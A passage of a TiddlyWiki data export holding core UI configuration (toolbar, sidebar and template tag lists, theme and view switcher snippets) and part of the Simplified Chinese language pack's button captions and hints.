            "list": "[[$:/core/ui/Buttons/home]] [[$:/core/ui/Buttons/close-all]] [[$:/core/ui/Buttons/fold-all]] [[$:/core/ui/Buttons/unfold-all]] [[$:/core/ui/Buttons/permaview]] [[$:/core/ui/Buttons/new-tiddler]] [[$:/core/ui/Buttons/new-journal]] [[$:/core/ui/Buttons/new-image]] [[$:/core/ui/Buttons/import]] [[$:/core/ui/Buttons/export-page]] [[$:/core/ui/Buttons/control-panel]] [[$:/core/ui/Buttons/advanced-search]] [[$:/core/ui/Buttons/manager]] [[$:/core/ui/Buttons/tag-manager]] [[$:/core/ui/Buttons/language]] [[$:/core/ui/Buttons/palette]] [[$:/core/ui/Buttons/theme]] [[$:/core/ui/Buttons/storyview]] [[$:/core/ui/Buttons/encryption]] [[$:/core/ui/Buttons/timestamp]] [[$:/core/ui/Buttons/full-screen]] [[$:/core/ui/Buttons/print]] [[$:/core/ui/Buttons/save-wiki]] [[$:/core/ui/Buttons/refresh]] [[$:/core/ui/Buttons/more-page-actions]]"
        },
        "$:/tags/PageTemplate": {
            "title": "$:/tags/PageTemplate",
            "list": "[[$:/core/ui/PageTemplate/topleftbar]] [[$:/core/ui/PageTemplate/toprightbar]] [[$:/core/ui/PageTemplate/sidebar]] [[$:/core/ui/PageTemplate/story]] [[$:/core/ui/PageTemplate/alerts]]",
            "text": ""
        },
        "$:/tags/SideBar": {
            "title": "$:/tags/SideBar",
            "list": "[[$:/core/ui/SideBar/Open]] [[$:/core/ui/SideBar/Recent]] [[$:/core/ui/SideBar/Tools]] [[$:/core/ui/SideBar/More]]",
            "text": ""
        },
        "$:/tags/SideBarSegment": {
            "title": "$:/tags/SideBarSegment",
            "list": "[[$:/core/ui/SideBarSegments/site-title]] [[$:/core/ui/SideBarSegments/site-subtitle]] [[$:/core/ui/SideBarSegments/page-controls]] [[$:/core/ui/SideBarSegments/search]] [[$:/core/ui/SideBarSegments/tabs]]"
        },
        "$:/tags/TiddlerInfo": {
            "title": "$:/tags/TiddlerInfo",
            "list": "[[$:/core/ui/TiddlerInfo/Tools]] [[$:/core/ui/TiddlerInfo/References]] [[$:/core/ui/TiddlerInfo/Tagging]] [[$:/core/ui/TiddlerInfo/List]] [[$:/core/ui/TiddlerInfo/Listed]] [[$:/core/ui/TiddlerInfo/Fields]]",
            "text": ""
        },
        "$:/tags/TiddlerInfo/Advanced": {
            "title": "$:/tags/TiddlerInfo/Advanced",
            "list": "[[$:/core/ui/TiddlerInfo/Advanced/ShadowInfo]] [[$:/core/ui/TiddlerInfo/Advanced/PluginInfo]]"
        },
        "$:/tags/ViewTemplate": {
            "title": "$:/tags/ViewTemplate",
            "list": "[[$:/core/ui/ViewTemplate/title]] [[$:/core/ui/ViewTemplate/unfold]] [[$:/core/ui/ViewTemplate/subtitle]] [[$:/core/ui/ViewTemplate/tags]] [[$:/core/ui/ViewTemplate/classic]] [[$:/core/ui/ViewTemplate/body]]"
        },
        "$:/tags/ViewToolbar": {
            "title": "$:/tags/ViewToolbar",
            "list": "[[$:/core/ui/Buttons/more-tiddler-actions]] [[$:/core/ui/Buttons/info]] [[$:/core/ui/Buttons/new-here]] [[$:/core/ui/Buttons/new-journal-here]] [[$:/core/ui/Buttons/clone]] [[$:/core/ui/Buttons/export-tiddler]] [[$:/core/ui/Buttons/edit]] [[$:/core/ui/Buttons/delete]] [[$:/core/ui/Buttons/permalink]] [[$:/core/ui/Buttons/permaview]] [[$:/core/ui/Buttons/open-window]] [[$:/core/ui/Buttons/close-others]] [[$:/core/ui/Buttons/close]] [[$:/core/ui/Buttons/fold-others]] [[$:/core/ui/Buttons/fold]]"
        },
        "$:/snippets/themeswitcher": {
            "title": "$:/snippets/themeswitcher",
            "text": "<$linkcatcher to=\"$:/theme\">\n<div class=\"tc-chooser\"><$list filter=\"[plugin-type[theme]sort[title]]\"><$set name=\"cls\" filter=\"[all[current]field:title{$:/theme}] [[$:/theme]!has[text]addsuffix[s/tiddlywiki/vanilla]field:title<currentTiddler>] +[limit[1]]\" value=\"tc-chooser-item tc-chosen\" emptyValue=\"tc-chooser-item\"><div class=<<cls>>><$link to={{!!title}}>''<$view field=\"name\" format=\"text\"/>'' <$view field=\"description\" format=\"text\"/></$link></div>\n</$set>\n</$list>\n</div>\n</$linkcatcher>"
        },
        "$:/core/wiki/title": {
            "title": "$:/core/wiki/title",
            "text": "{{$:/SiteTitle}} --- {{$:/SiteSubtitle}}"
        },
        "$:/view": {
            "title": "$:/view",
            "text": "classic"
        },
        "$:/snippets/viewswitcher": {
            "title": "$:/snippets/viewswitcher",
            "text": "\\define icon()\n$:/core/images/storyview-$(storyview)$\n\\end\n<$linkcatcher to=\"$:/view\">\n<div class=\"tc-chooser\">\n<$list filter=\"[storyviews[]]\" variable=\"storyview\">\n<$set name=\"cls\" filter=\"[<storyview>prefix{$:/view}]\" value=\"tc-chooser-item tc-chosen\" emptyValue=\"tc-chooser-item\"><div class=<<cls>>>\n<$link to=<<storyview>>>\n<$transclude tiddler=<<icon>>/>\n<$text text=<<storyview>>/>\n</$link>\n</div>\n</$set>\n</$list>\n</div>\n</$linkcatcher>"
        }
    }
}
导航
下列条目已被导入:

# [[linux-process-status.png]]
no
yes
no
no
$:/languages/zh-Hans
{
    "tiddlers": {
        "$:/language/Buttons/AdvancedSearch/Caption": {
            "title": "$:/language/Buttons/AdvancedSearch/Caption",
            "text": "高级查找"
        },
        "$:/language/Buttons/AdvancedSearch/Hint": {
            "title": "$:/language/Buttons/AdvancedSearch/Hint",
            "text": "高级查找"
        },
        "$:/language/Buttons/Cancel/Caption": {
            "title": "$:/language/Buttons/Cancel/Caption",
            "text": "取消"
        },
        "$:/language/Buttons/Cancel/Hint": {
            "title": "$:/language/Buttons/Cancel/Hint",
            "text": "放弃对此条目的更改"
        },
        "$:/language/Buttons/Clone/Caption": {
            "title": "$:/language/Buttons/Clone/Caption",
            "text": "克隆"
        },
        "$:/language/Buttons/Clone/Hint": {
            "title": "$:/language/Buttons/Clone/Hint",
            "text": "克隆此条目"
        },
        "$:/language/Buttons/Close/Caption": {
            "title": "$:/language/Buttons/Close/Caption",
            "text": "关闭"
        },
        "$:/language/Buttons/Close/Hint": {
            "title": "$:/language/Buttons/Close/Hint",
            "text": "关闭此条目"
        },
        "$:/language/Buttons/CloseAll/Caption": {
            "title": "$:/language/Buttons/CloseAll/Caption",
            "text": "全部关闭"
        },
        "$:/language/Buttons/CloseAll/Hint": {
            "title": "$:/language/Buttons/CloseAll/Hint",
            "text": "关闭所有条目"
        },
        "$:/language/Buttons/CloseOthers/Caption": {
            "title": "$:/language/Buttons/CloseOthers/Caption",
            "text": "关闭其他"
        },
        "$:/language/Buttons/CloseOthers/Hint": {
            "title": "$:/language/Buttons/CloseOthers/Hint",
            "text": "关闭其他条目"
        },
        "$:/language/Buttons/ControlPanel/Caption": {
            "title": "$:/language/Buttons/ControlPanel/Caption",
            "text": "控制台"
        },
        "$:/language/Buttons/ControlPanel/Hint": {
            "title": "$:/language/Buttons/ControlPanel/Hint",
            "text": "开启控制台"
        },
        "$:/language/Buttons/CopyToClipboard/Caption": {
            "title": "$:/language/Buttons/CopyToClipboard/Caption",
            "text": "复制到剪贴板"
        },
        "$:/language/Buttons/CopyToClipboard/Hint": {
            "title": "$:/language/Buttons/CopyToClipboard/Hint",
            "text": "将此文本复制到剪贴板"
        },
        "$:/language/Buttons/Delete/Caption": {
            "title": "$:/language/Buttons/Delete/Caption",
            "text": "删除"
        },
        "$:/language/Buttons/Delete/Hint": {
            "title": "$:/language/Buttons/Delete/Hint",
            "text": "删除此条目"
        },
        "$:/language/Buttons/Edit/Caption": {
            "title": "$:/language/Buttons/Edit/Caption",
            "text": "编辑"
        },
        "$:/language/Buttons/Edit/Hint": {
            "title": "$:/language/Buttons/Edit/Hint",
            "text": "编辑此条目"
        },
        "$:/language/Buttons/Encryption/Caption": {
            "title": "$:/language/Buttons/Encryption/Caption",
            "text": "加密"
        },
        "$:/language/Buttons/Encryption/Hint": {
            "title": "$:/language/Buttons/Encryption/Hint",
            "text": "设置或清除保存此维基的密码"
        },
        "$:/language/Buttons/Encryption/ClearPassword/Caption": {
            "title": "$:/language/Buttons/Encryption/ClearPassword/Caption",
            "text": "清除密码"
        },
        "$:/language/Buttons/Encryption/ClearPassword/Hint": {
            "title": "$:/language/Buttons/Encryption/ClearPassword/Hint",
            "text": "清除密码且不加密保存此维基"
        },
        "$:/language/Buttons/Encryption/SetPassword/Caption": {
            "title": "$:/language/Buttons/Encryption/SetPassword/Caption",
            "text": "设置密码"
        },
        "$:/language/Buttons/Encryption/SetPassword/Hint": {
            "title": "$:/language/Buttons/Encryption/SetPassword/Hint",
            "text": "设置加密保存此维基的密码"
        },
        "$:/language/Buttons/ExportPage/Caption": {
            "title": "$:/language/Buttons/ExportPage/Caption",
            "text": "导出所有条目"
        },
        "$:/language/Buttons/ExportPage/Hint": {
            "title": "$:/language/Buttons/ExportPage/Hint",
            "text": "导出所有条目"
        },
        "$:/language/Buttons/ExportTiddler/Caption": {
            "title": "$:/language/Buttons/ExportTiddler/Caption",
            "text": "导出此条目"
        },
        "$:/language/Buttons/ExportTiddler/Hint": {
            "title": "$:/language/Buttons/ExportTiddler/Hint",
            "text": "导出此条目"
        },
        "$:/language/Buttons/ExportTiddlers/Caption": {
            "title": "$:/language/Buttons/ExportTiddlers/Caption",
            "text": "导出条目"
        },
        "$:/language/Buttons/ExportTiddlers/Hint": {
            "title": "$:/language/Buttons/ExportTiddlers/Hint",
            "text": "导出条目"
        },
        "$:/language/Buttons/Fold/Caption": {
            "title": "$:/language/Buttons/Fold/Caption",
            "text": "收合条目"
        },
        "$:/language/Buttons/Fold/Hint": {
            "title": "$:/language/Buttons/Fold/Hint",
            "text": "收合此条目的内容"
        },
        "$:/language/Buttons/Unfold/Caption": {
            "title": "$:/language/Buttons/Unfold/Caption",
            "text": "展开条目"
        },
        "$:/language/Buttons/Unfold/Hint": {
            "title": "$:/language/Buttons/Unfold/Hint",
            "text": "展开此条目的内容"
        },
        "$:/language/Buttons/FoldOthers/Caption": {
            "title": "$:/language/Buttons/FoldOthers/Caption",
            "text": "收合其他条目"
        },
        "$:/language/Buttons/FoldOthers/Hint": {
            "title": "$:/language/Buttons/FoldOthers/Hint",
            "text": "收合其他已开启条目的内容"
        },
        "$:/language/Buttons/FoldAll/Caption": {
            "title": "$:/language/Buttons/FoldAll/Caption",
            "text": "收合所有条目"
        },
        "$:/language/Buttons/FoldAll/Hint": {
            "title": "$:/language/Buttons/FoldAll/Hint",
            "text": "收合所有已开启条目的内容"
        },
        "$:/language/Buttons/Fold/FoldBar/Caption": {
            "title": "$:/language/Buttons/Fold/FoldBar/Caption",
            "text": "收合栏"
        },
        "$:/language/Buttons/Fold/FoldBar/Hint": {
            "title": "$:/language/Buttons/Fold/FoldBar/Hint",
            "text": "可选的收合与展开条目的长条按钮"
        },
        "$:/language/Buttons/UnfoldAll/Caption": {
            "title": "$:/language/Buttons/UnfoldAll/Caption",
            "text": "展开所有条目"
        },
        "$:/language/Buttons/UnfoldAll/Hint": {
            "title": "$:/language/Buttons/UnfoldAll/Hint",
            "text": "展开所有已开启条目的内容"
        },
        "$:/language/Buttons/FullScreen/Caption": {
            "title": "$:/language/Buttons/FullScreen/Caption",
            "text": "全屏幕"
        },
        "$:/language/Buttons/FullScreen/Hint": {
            "title": "$:/language/Buttons/FullScreen/Hint",
            "text": "进入或离开全屏模式"
        },
        "$:/language/Buttons/Help/Caption": {
            "title": "$:/language/Buttons/Help/Caption",
            "text": "帮助"
        },
        "$:/language/Buttons/Help/Hint": {
            "title": "$:/language/Buttons/Help/Hint",
            "text": "显示帮助面板"
        },
        "$:/language/Buttons/Home/Caption": {
            "title": "$:/language/Buttons/Home/Caption",
            "text": "首页"
        },
        "$:/language/Buttons/Home/Hint": {
            "title": "$:/language/Buttons/Home/Hint",
            "text": "开启首页条目"
        },
        "$:/language/Buttons/Import/Caption": {
            "title": "$:/language/Buttons/Import/Caption",
            "text": "导入"
        },
        "$:/language/Buttons/Import/Hint": {
            "title": "$:/language/Buttons/Import/Hint",
            "text": "导入许多类型的文件包括文本、图像、TiddlyWiki 或 JSON"
        },
        "$:/language/Buttons/Info/Caption": {
            "title": "$:/language/Buttons/Info/Caption",
            "text": "信息"
        },
        "$:/language/Buttons/Info/Hint": {
            "title": "$:/language/Buttons/Info/Hint",
            "text": "显示此条目的信息"
        },
        "$:/language/Buttons/Language/Caption": {
            "title": "$:/language/Buttons/Language/Caption",
            "text": "语言"
        },
        "$:/language/Buttons/Language/Hint": {
            "title": "$:/language/Buttons/Language/Hint",
            "text": "选择用户介面语言"
        },
        "$:/language/Buttons/Manager/Caption": {
            "title": "$:/language/Buttons/Manager/Caption",
            "text": "条目管理器"
        },
        "$:/language/Buttons/Manager/Hint": {
            "title": "$:/language/Buttons/Manager/Hint",
            "text": "开启条目管理器"
        },
        "$:/language/Buttons/More/Caption": {
            "title": "$:/language/Buttons/More/Caption",
            "text": "更多"
        },
        "$:/language/Buttons/More/Hint": {
            "title": "$:/language/Buttons/More/Hint",
            "text": "更多动作"
        },
        "$:/language/Buttons/NewHere/Caption": {
            "title": "$:/language/Buttons/NewHere/Caption",
            "text": "添加子条目"
        },
        "$:/language/Buttons/NewHere/Hint": {
            "title": "$:/language/Buttons/NewHere/Hint",
            "text": "创建一个标签为此条目名称的新条目"
        },
        "$:/language/Buttons/NewJournal/Caption": {
            "title": "$:/language/Buttons/NewJournal/Caption",
            "text": "添加日志"
        },
        "$:/language/Buttons/NewJournal/Hint": {
            "title": "$:/language/Buttons/NewJournal/Hint",
            "text": "创建一个新的日志条目"
        },
        "$:/language/Buttons/NewJournalHere/Caption": {
            "title": "$:/language/Buttons/NewJournalHere/Caption",
            "text": "添加子日志"
        },
        "$:/language/Buttons/NewJournalHere/Hint": {
            "title": "$:/language/Buttons/NewJournalHere/Hint",
            "text": "创建一个标签含此条目名称的新日志条目"
        },
        "$:/language/Buttons/NewImage/Caption": {
            "title": "$:/language/Buttons/NewImage/Caption",
            "text": "添加图像"
        },
        "$:/language/Buttons/NewImage/Hint": {
            "title": "$:/language/Buttons/NewImage/Hint",
            "text": "创建一个新的图像条目"
        },
        "$:/language/Buttons/NewMarkdown/Caption": {
            "title": "$:/language/Buttons/NewMarkdown/Caption",
            "text": "添加 Markdown 条目"
        },
        "$:/language/Buttons/NewMarkdown/Hint": {
            "title": "$:/language/Buttons/NewMarkdown/Hint",
            "text": "创建一个新的 Markdown 条目"
        },
        "$:/language/Buttons/NewTiddler/Caption": {
            "title": "$:/language/Buttons/NewTiddler/Caption",
            "text": "添加条目"
        },
        "$:/language/Buttons/NewTiddler/Hint": {
            "title": "$:/language/Buttons/NewTiddler/Hint",
            "text": "创建一个新的条目"
        },
        "$:/language/Buttons/OpenWindow/Caption": {
            "title": "$:/language/Buttons/OpenWindow/Caption",
            "text": "开启于新窗口"
        },
        "$:/language/Buttons/OpenWindow/Hint": {
            "title": "$:/language/Buttons/OpenWindow/Hint",
            "text": "在新窗口中开启条目"
        },
        "$:/language/Buttons/Palette/Caption": {
            "title": "$:/language/Buttons/Palette/Caption",
            "text": "调色板"
        },
        "$:/language/Buttons/Palette/Hint": {
            "title": "$:/language/Buttons/Palette/Hint",
            "text": "选择调色板"
        },
        "$:/language/Buttons/Permalink/Caption": {
            "title": "$:/language/Buttons/Permalink/Caption",
            "text": "引用链接"
        },
        "$:/language/Buttons/Permalink/Hint": {
            "title": "$:/language/Buttons/Permalink/Hint",
            "text": "设置浏览器网址栏为直接链接到此条目"
        },
        "$:/language/Buttons/Permaview/Caption": {
            "title": "$:/language/Buttons/Permaview/Caption",
            "text": "永久链接"
        },
        "$:/language/Buttons/Permaview/Hint": {
            "title": "$:/language/Buttons/Permaview/Hint",
            "text": "设置浏览器网址栏为直接链接到当前所有已开启条目"
        },
        "$:/language/Buttons/Print/Caption": {
            "title": "$:/language/Buttons/Print/Caption",
            "text": "打印页面"
        },
        "$:/language/Buttons/Print/Hint": {
            "title": "$:/language/Buttons/Print/Hint",
            "text": "打印当前页面"
        },
        "$:/language/Buttons/Refresh/Caption": {
            "title": "$:/language/Buttons/Refresh/Caption",
            "text": "刷新"
        },
        "$:/language/Buttons/Refresh/Hint": {
            "title": "$:/language/Buttons/Refresh/Hint",
            "text": "执行维基的完全刷新"
        },
        "$:/language/Buttons/Save/Caption": {
            "title": "$:/language/Buttons/Save/Caption",
            "text": "确定"
        },
        "$:/language/Buttons/Save/Hint": {
            "title": "$:/language/Buttons/Save/Hint",
            "text": "确定对此条目的更改"
        },
        "$:/language/Buttons/SaveWiki/Caption": {
            "title": "$:/language/Buttons/SaveWiki/Caption",
            "text": "保存变更"
        },
        "$:/language/Buttons/SaveWiki/Hint": {
            "title": "$:/language/Buttons/SaveWiki/Hint",
            "text": "保存变更"
        },
        "$:/language/Buttons/StoryView/Caption": {
            "title": "$:/language/Buttons/StoryView/Caption",
            "text": "查看模式"
        },
        "$:/language/Buttons/StoryView/Hint": {
            "title": "$:/language/Buttons/StoryView/Hint",
            "text": "选择查看条目的视觉效果"
        },
        "$:/language/Buttons/HideSideBar/Caption": {
            "title": "$:/language/Buttons/HideSideBar/Caption",
            "text": "隐藏侧边栏"
        },
        "$:/language/Buttons/HideSideBar/Hint": {
            "title": "$:/language/Buttons/HideSideBar/Hint",
            "text": "隐藏侧边栏"
        },
        "$:/language/Buttons/ShowSideBar/Caption": {
            "title": "$:/language/Buttons/ShowSideBar/Caption",
            "text": "显示侧边栏"
        },
        "$:/language/Buttons/ShowSideBar/Hint": {
            "title": "$:/language/Buttons/ShowSideBar/Hint",
            "text": "显示侧边栏"
        },
        "$:/language/Buttons/TagManager/Caption": {
            "title": "$:/language/Buttons/TagManager/Caption",
            "text": "标签管理"
        },
        "$:/language/Buttons/TagManager/Hint": {
            "title": "$:/language/Buttons/TagManager/Hint",
            "text": "标签管理"
        },
        "$:/language/Buttons/Timestamp/Caption": {
            "title": "$:/language/Buttons/Timestamp/Caption",
            "text": "时间戳记"
        },
        "$:/language/Buttons/Timestamp/Hint": {
            "title": "$:/language/Buttons/Timestamp/Hint",
            "text": "选择修改是否更新时间戳记"
        },
        "$:/language/Buttons/Timestamp/On/Caption": {
            "title": "$:/language/Buttons/Timestamp/On/Caption",
            "text": "时间戳记开启"
        },
        "$:/language/Buttons/Timestamp/On/Hint": {
            "title": "$:/language/Buttons/Timestamp/On/Hint",
            "text": "条目被修改时,更新时间戳记"
        },
        "$:/language/Buttons/Timestamp/Off/Caption": {
            "title": "$:/language/Buttons/Timestamp/Off/Caption",
            "text": "时间戳记关闭"
        },
        "$:/language/Buttons/Timestamp/Off/Hint": {
            "title": "$:/language/Buttons/Timestamp/Off/Hint",
            "text": "条目被修改时,不更新时间戳记"
        },
        "$:/language/Buttons/Theme/Caption": {
            "title": "$:/language/Buttons/Theme/Caption",
            "text": "布景主题"
        },
        "$:/language/Buttons/Theme/Hint": {
            "title": "$:/language/Buttons/Theme/Hint",
            "text": "选择布景主题"
        },
        "$:/language/Buttons/Bold/Caption": {
            "title": "$:/language/Buttons/Bold/Caption",
            "text": "粗体"
        },
        "$:/language/Buttons/Bold/Hint": {
            "title": "$:/language/Buttons/Bold/Hint",
            "text": "套用粗体格式于所选文本"
        },
        "$:/language/Buttons/Clear/Caption": {
            "title": "$:/language/Buttons/Clear/Caption",
            "text": "清除"
        },
        "$:/language/Buttons/Clear/Hint": {
            "title": "$:/language/Buttons/Clear/Hint",
            "text": "清除图像为纯色"
        },
        "$:/language/Buttons/EditorHeight/Caption": {
            "title": "$:/language/Buttons/EditorHeight/Caption",
            "text": "编辑器高度"
        },
        "$:/language/Buttons/EditorHeight/Caption/Auto": {
            "title": "$:/language/Buttons/EditorHeight/Caption/Auto",
            "text": "自动调整高度以适合内容"
        },
        "$:/language/Buttons/EditorHeight/Caption/Fixed": {
            "title": "$:/language/Buttons/EditorHeight/Caption/Fixed",
            "text": "固定高度︰"
        },
        "$:/language/Buttons/EditorHeight/Hint": {
            "title": "$:/language/Buttons/EditorHeight/Hint",
            "text": "选择文本编辑器的高度"
        },
        "$:/language/Buttons/Excise/Caption": {
            "title": "$:/language/Buttons/Excise/Caption",
            "text": "剪切"
        },
        "$:/language/Buttons/Excise/Caption/Excise": {
            "title": "$:/language/Buttons/Excise/Caption/Excise",
            "text": "执行剪切"
        },
        "$:/language/Buttons/Excise/Caption/MacroName": {
            "title": "$:/language/Buttons/Excise/Caption/MacroName",
            "text": "宏的名称︰"
        },
        "$:/language/Buttons/Excise/Caption/NewTitle": {
            "title": "$:/language/Buttons/Excise/Caption/NewTitle",
            "text": "新条目的名称︰"
        },
        "$:/language/Buttons/Excise/Caption/Replace": {
            "title": "$:/language/Buttons/Excise/Caption/Replace",
            "text": "替换剪切的文本为:"
        },
        "$:/language/Buttons/Excise/Caption/Replace/Macro": {
            "title": "$:/language/Buttons/Excise/Caption/Replace/Macro",
            "text": "宏"
        },
        "$:/language/Buttons/Excise/Caption/Replace/Link": {
            "title": "$:/language/Buttons/Excise/Caption/Replace/Link",
            "text": "链接"
        },
        "$:/language/Buttons/Excise/Caption/Replace/Transclusion": {
            "title": "$:/language/Buttons/Excise/Caption/Replace/Transclusion",
            "text": "嵌入"
        },
        "$:/language/Buttons/Excise/Caption/Tag": {
            "title": "$:/language/Buttons/Excise/Caption/Tag",
            "text": "将新条目的标签设为此条目的名称"
        },
        "$:/language/Buttons/Excise/Caption/TiddlerExists": {
            "title": "$:/language/Buttons/Excise/Caption/TiddlerExists",
            "text": "警示:条目已经存在"
        },
        "$:/language/Buttons/Excise/Hint": {
            "title": "$:/language/Buttons/Excise/Hint",
            "text": "剪切所选文本到一个新条目"
        },
        "$:/language/Buttons/Heading1/Caption": {
            "title": "$:/language/Buttons/Heading1/Caption",
            "text": "标题 1"
        },
        "$:/language/Buttons/Heading1/Hint": {
            "title": "$:/language/Buttons/Heading1/Hint",
            "text": "套用标题级别 1 的格式于包含所选文本的列"
        },
        "$:/language/Buttons/Heading2/Caption": {
            "title": "$:/language/Buttons/Heading2/Caption",
            "text": "标题 2"
        },
        "$:/language/Buttons/Heading2/Hint": {
            "title": "$:/language/Buttons/Heading2/Hint",
            "text": "套用标题级别 2 的格式于包含所选文本的列"
        },
        "$:/language/Buttons/Heading3/Caption": {
            "title": "$:/language/Buttons/Heading3/Caption",
            "text": "标题 3"
        },
        "$:/language/Buttons/Heading3/Hint": {
            "title": "$:/language/Buttons/Heading3/Hint",
            "text": "套用标题级别 3 的格式于包含所选文本的列"
        },
        "$:/language/Buttons/Heading4/Caption": {
            "title": "$:/language/Buttons/Heading4/Caption",
            "text": "标题 4"
        },
        "$:/language/Buttons/Heading4/Hint": {
            "title": "$:/language/Buttons/Heading4/Hint",
            "text": "套用标题级别 4 的格式于包含所选文本的列"
        },
        "$:/language/Buttons/Heading5/Caption": {
            "title": "$:/language/Buttons/Heading5/Caption",
            "text": "标题 5"
        },
        "$:/language/Buttons/Heading5/Hint": {
            "title": "$:/language/Buttons/Heading5/Hint",
            "text": "套用标题级别 5 的格式于包含所选文本的列"
        },
        "$:/language/Buttons/Heading6/Caption": {
            "title": "$:/language/Buttons/Heading6/Caption",
            "text": "标题 6"
        },
        "$:/language/Buttons/Heading6/Hint": {
            "title": "$:/language/Buttons/Heading6/Hint",
            "text": "套用标题级别 6 的格式于包含所选文本的列"
        },
        "$:/language/Buttons/Italic/Caption": {
            "title": "$:/language/Buttons/Italic/Caption",
            "text": "斜体"
        },
        "$:/language/Buttons/Italic/Hint": {
            "title": "$:/language/Buttons/Italic/Hint",
            "text": "套用斜体格式于所选文本"
        },
        "$:/language/Buttons/LineWidth/Caption": {
            "title": "$:/language/Buttons/LineWidth/Caption",
            "text": "线宽"
        },
        "$:/language/Buttons/LineWidth/Hint": {
            "title": "$:/language/Buttons/LineWidth/Hint",
            "text": "设置绘画的线条宽度"
        },
        "$:/language/Buttons/Link/Caption": {
            "title": "$:/language/Buttons/Link/Caption",
            "text": "链接"
        },
        "$:/language/Buttons/Link/Hint": {
            "title": "$:/language/Buttons/Link/Hint",
            "text": "创建维基文字链接"
        },
        "$:/language/Buttons/Linkify/Caption": {
            "title": "$:/language/Buttons/Linkify/Caption",
            "text": "维基链接"
        },
        "$:/language/Buttons/Linkify/Hint": {
            "title": "$:/language/Buttons/Linkify/Hint",
            "text": "套用维基链接于所选文字"
        },
        "$:/language/Buttons/ListBullet/Caption": {
            "title": "$:/language/Buttons/ListBullet/Caption",
            "text": "符号清单"
        },
        "$:/language/Buttons/ListBullet/Hint": {
            "title": "$:/language/Buttons/ListBullet/Hint",
            "text": "套用符号清单格式于包含所选文本的列"
        },
        "$:/language/Buttons/ListNumber/Caption": {
            "title": "$:/language/Buttons/ListNumber/Caption",
            "text": "数字清单"
        },
        "$:/language/Buttons/ListNumber/Hint": {
            "title": "$:/language/Buttons/ListNumber/Hint",
            "text": "套用数字清单格式于包含所选文本的列"
        },
        "$:/language/Buttons/MonoBlock/Caption": {
            "title": "$:/language/Buttons/MonoBlock/Caption",
            "text": "等宽区块"
        },
        "$:/language/Buttons/MonoBlock/Hint": {
            "title": "$:/language/Buttons/MonoBlock/Hint",
            "text": "套用等宽区块格式于包含所选文本的列"
        },
        "$:/language/Buttons/MonoLine/Caption": {
            "title": "$:/language/Buttons/MonoLine/Caption",
            "text": "等宽"
        },
        "$:/language/Buttons/MonoLine/Hint": {
            "title": "$:/language/Buttons/MonoLine/Hint",
            "text": "套用等宽字符格式于所选文本"
        },
        "$:/language/Buttons/Opacity/Caption": {
            "title": "$:/language/Buttons/Opacity/Caption",
            "text": "不透明度"
        },
        "$:/language/Buttons/Opacity/Hint": {
            "title": "$:/language/Buttons/Opacity/Hint",
            "text": "设置绘画的不透明度"
        },
        "$:/language/Buttons/Paint/Caption": {
            "title": "$:/language/Buttons/Paint/Caption",
            "text": "绘画颜色"
        },
        "$:/language/Buttons/Paint/Hint": {
            "title": "$:/language/Buttons/Paint/Hint",
            "text": "设置绘画的颜色"
        },
        "$:/language/Buttons/Picture/Caption": {
            "title": "$:/language/Buttons/Picture/Caption",
            "text": "图片"
        },
        "$:/language/Buttons/Picture/Hint": {
            "title": "$:/language/Buttons/Picture/Hint",
            "text": "插入图片"
        },
        "$:/language/Buttons/Preview/Caption": {
            "title": "$:/language/Buttons/Preview/Caption",
            "text": "预览"
        },
        "$:/language/Buttons/Preview/Hint": {
            "title": "$:/language/Buttons/Preview/Hint",
            "text": "显示预览窗格"
        },
        "$:/language/Buttons/PreviewType/Caption": {
            "title": "$:/language/Buttons/PreviewType/Caption",
            "text": "预览类型"
        },
        "$:/language/Buttons/PreviewType/Hint": {
            "title": "$:/language/Buttons/PreviewType/Hint",
            "text": "选择预览类型"
        },
        "$:/language/Buttons/Quote/Caption": {
            "title": "$:/language/Buttons/Quote/Caption",
            "text": "引言"
        },
        "$:/language/Buttons/Quote/Hint": {
            "title": "$:/language/Buttons/Quote/Hint",
            "text": "套用引言文本格式于包含所选文本的列"
        },
        "$:/language/Buttons/RotateLeft/Caption": {
            "title": "$:/language/Buttons/RotateLeft/Caption",
            "text": "向左旋转"
        },
        "$:/language/Buttons/RotateLeft/Hint": {
            "title": "$:/language/Buttons/RotateLeft/Hint",
            "text": "图像向左旋转 90 度"
        },
        "$:/language/Buttons/Size/Caption": {
            "title": "$:/language/Buttons/Size/Caption",
            "text": "图像大小"
        },
        "$:/language/Buttons/Size/Caption/Height": {
            "title": "$:/language/Buttons/Size/Caption/Height",
            "text": "高度︰"
        },
        "$:/language/Buttons/Size/Caption/Resize": {
            "title": "$:/language/Buttons/Size/Caption/Resize",
            "text": "调整图像的大小"
        },
        "$:/language/Buttons/Size/Caption/Width": {
            "title": "$:/language/Buttons/Size/Caption/Width",
            "text": "宽度:"
        },
        "$:/language/Buttons/Size/Hint": {
            "title": "$:/language/Buttons/Size/Hint",
            "text": "设置图像的大小"
        },
        "$:/language/Buttons/Stamp/Caption": {
            "title": "$:/language/Buttons/Stamp/Caption",
            "text": "印记"
        },
        "$:/language/Buttons/Stamp/Caption/New": {
            "title": "$:/language/Buttons/Stamp/Caption/New",
            "text": "添加您自己的"
        },
        "$:/language/Buttons/Stamp/Hint": {
            "title": "$:/language/Buttons/Stamp/Hint",
            "text": "插入一个预配置的文本片段"
        },
        "$:/language/Buttons/Stamp/New/Title": {
            "title": "$:/language/Buttons/Stamp/New/Title",
            "text": "在选单中显示的标题"
        },
        "$:/language/Buttons/Stamp/New/Text": {
            "title": "$:/language/Buttons/Stamp/New/Text",
            "text": "片段的文本。(记得在 `caption` 栏位中添加一个说明性的标题)。"
        },
        "$:/language/Buttons/Strikethrough/Caption": {
            "title": "$:/language/Buttons/Strikethrough/Caption",
            "text": "删除线"
        },
        "$:/language/Buttons/Strikethrough/Hint": {
            "title": "$:/language/Buttons/Strikethrough/Hint",
            "text": "套用删除线格式于所选文本"
        },
        "$:/language/Buttons/Subscript/Caption": {
            "title": "$:/language/Buttons/Subscript/Caption",
            "text": "下标"
        },
        "$:/language/Buttons/Subscript/Hint": {
            "title": "$:/language/Buttons/Subscript/Hint",
            "text": "套用下标格式于所选文本"
        },
        "$:/language/Buttons/Superscript/Caption": {
            "title": "$:/language/Buttons/Superscript/Caption",
            "text": "上标"
        },
        "$:/language/Buttons/Superscript/Hint": {
            "title": "$:/language/Buttons/Superscript/Hint",
            "text": "套用上标格式于所选文本"
        },
        "$:/language/Buttons/Transcludify/Caption": {
            "title": "$:/language/Buttons/Transcludify/Caption",
            "text": "嵌入"
        },
        "$:/language/Buttons/Transcludify/Hint": {
            "title": "$:/language/Buttons/Transcludify/Hint",
            "text": "套用嵌入于所选文字"
        },
